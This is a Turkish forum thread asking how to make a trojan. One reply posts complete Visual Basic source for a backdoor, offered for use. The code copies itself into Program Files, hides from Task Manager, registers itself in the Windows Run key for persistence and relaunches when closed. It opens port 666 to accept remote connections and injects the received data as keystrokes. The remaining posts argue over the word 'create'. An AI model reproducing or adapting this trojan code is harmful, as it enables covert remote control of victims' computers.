Trojennasıl Yaratılır?
-
Arkadaşlar trojen yazmak için hangi programları kullanabiliriz?
-
Arkadaşım trojan yazmak için programlama dili bilmen gerekir kullanabileceğin programlar"da visual basic, c++ vede delphi olabilir.
-
Ben delphi ile yapmıştım... zaten school bus felan bununla yapıldı.. hemen hemen hepsi... bence sende dene :)
-
AkisSoftware bunu yazdı:
-----------------------------
Ben delphi ile yapmıştım... zaten school bus felan bununla yapıldı.. hemen hemen hepsi... bence sende dene :)
-----------------------------
peki bu programı nerden bulurum :) -
vb ile nası yaparıs trojan
-
www.inprise.com
ayni zamanda
www.borland.com adresi ilede ulsabilirsin eger kapanmadiysa..
trial versiyonunu indirebilirsin.. sanirim 7 var son olarak..
kolay gele
-
AL bak bu vbasic de yazdığım bi trojan. Çocuk oyuncağı ama idare et artık
Private Sub Form_Initialize()
" Trojan her çalıştığında Program Files klasörlerine kendisini kopyalayacak.
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path " Ben nerdeyim ?
ad = App.EXEName & ".exe" " Ben kimim?
TamYol = yol & "\" & ad
" yaşasın nüfus patlaması...
FileCopy TamYol, "C:\Program Files\BenTrojanDeğilim.exe"
End Sub
Private Sub Form_Load()
" Trojanı Ctrl + Alt + Del (Windows Görev Yöneticisi) ekranından gizle
App.TaskVisible = False
" Trojan her başladığında kendisini windows Kayıt defterine windows ile birlikte
" başlamak üzere kayıt ediyor...
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
" Trojanın winsock ile dinlemeye alacağı port burada belirleniyor.
" Trojan 666 portu dışarıdan gelecek istekler için kullanıma açıyor.
" 666 Portu isterseniz değiştirebilirsiniz...
Winsock1.LocalPort = "666" "
" Ve artık 666. port bağlantıları dinlemeye alınıyor
On Error Resume Next " trojan bir şekilde birden fazla çalışırsa oluşacak olan adres kullanım hatasını gidermek için
" yani aynı adresi birden fazla winsock nesnesinini dinlemesini engelliyoruz.
Winsock1.Listen
" Form gizleniyor
Me.Hide
End Sub
Private Sub Form_Terminate()
" İşte baş belası: Program kapatılsa bile tekrar çalışacak.
Dim ac, d1 As String
d1 = "C:\Program Files\BenTrojanDeğilim.exe"
ac = Shell(d1)
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
"Winsock kontrolü kullanılıyor mu bak.
If Winsock1.State <> sckClosed Then Winsock1.Close
"Can alıcı nokta. Dışarıdan gelecek olan bağlantıları kabul et.
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
"Hata olmuşsa yada bağlantı kaybedilmişse, tekrar dinlemeye geç.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String
Winsock1.GetData data1 " mesajal
DoEvents
SendKeys data1 "mesaj gönder
End Sub
-
hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur..
-
helyum_pasha bunu yazdı:
-----------------------------
hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur..
-----------------------------and god created trojan..
-
helyum_pasha bunu yazdı:
-----------------------------
hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur..
-----------------------------yobazlarin basit kelime oyunlarina takilmayalim kucuk dostum , arkadasin yaratmaktan kasti olusturmaktir.
-
hey allahım ya yaratmak allaha mahsusturda o klavyeyi sana allah mı yaratdı insan zekası ile yarattı yaratıcı allahtır ama icatları yaratan insandır.
Toplam Hit: 3065 Toplam Mesaj: 11